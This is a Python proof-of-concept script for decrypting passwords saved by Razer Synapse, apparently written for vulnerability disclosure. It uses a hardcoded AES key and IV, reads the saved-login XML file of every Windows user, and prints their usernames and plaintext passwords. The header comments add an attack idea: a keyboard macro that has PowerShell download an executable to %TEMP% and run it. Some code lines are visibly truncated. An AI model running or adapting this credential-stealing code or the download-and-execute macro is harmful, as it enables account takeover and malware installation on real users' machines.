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# >Razer Synapse (rzSynapse) Password Decryption Proof of Concept
# >Author: pasv (Matt Howard) - themdhoward[at]gmail[dot]com
# >Site:
# PyCrypto can be downloaded and installed from:
# binary version:
# Razer updated to 1.7.15 fixing this issue on 12/27/12
# Why Razer passwords are a security issue
# ======================================================
# -password re-use accross other accounts (obvious)
# -the ability to update someone's cloud settings for their Razer keyboards/mice
# essentially means you can update any of their keys to trigger macro payloads on any other system they login from.
# -Example, forcing the next session to macro type: "[ctrl+esc]powershell[delay 5 seconds maybe?]
# "(new-object System.Net.WebClient).DownloadFile('','%TEMP%\m.exe'); Start-Process "%TEMP%\m.exe"
# note: these can be executed after a significant delay and the keys you enter or the payload you upload could revert their settings back easily
# if you had access you could do this locally but having a login allows you to do this at anytime remotely if they update from cloud settings from the prompt
import base64
import os
import re
from Crypto.Cipher import AES
# These are hardcoded and don't appear to change with versions
# Last version tested: Razer Synapse 2.0 (file version:
key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
iv = "ryojvlzmdalyglrj"
enc =, AES.MODE_CBC, iv)
def removeBytes(s):
return "".join(i for i in s if ord(i) < 128 and ord(i) >= 48)
def decrypt(ciphertext):
cleartext = enc.decrypt(base64.b64decode(ciphertext))
cleartext = removeBytes(cleartext)
pos = cleartext.find("||")
return cleartext[pos + 2:]
def show_loot(logindata):
print "[+] Decrypting passwords..."
lines = logindata.split("</SavedCredentials>")
for line in lines:
match_user ="<Username>([^<]+)</Username>", line)
match_pass ="<Password>([^<]+)</Password>", line)
if match_user:
print "[+] Username: " + match_user.groups(1)[0]
if match_pass:
print "[~] Encrypted password: " + match_pass.groups(1)[0]
print "[+] Password: " + \
print "==============================="
if __name__ == "__main__":
print "Razer Synapse (rzSynapse) Password Decryption Proof of Concept"
print "Author: pasv (Matt Howard) - themdhoward[at]gmail[dot]com\n\n"
print "[] Fetching password files"
for d in os.listdir("C:\\Users"):
#print "[!] Attempting to access accounts for: " + d
#print "[] Fetching encrypted passwords from " + \
# d + "\\AppData\\Local\Razer\\Synapse\\Accounts\\RazerLoginData.xml"
loginxml = open("C:\\Users\\" + d + \
"\\AppData\\Local\\Razer\\Synapse\\Accounts\\" + \
#print "[-] Failed to open accounts for: " + d
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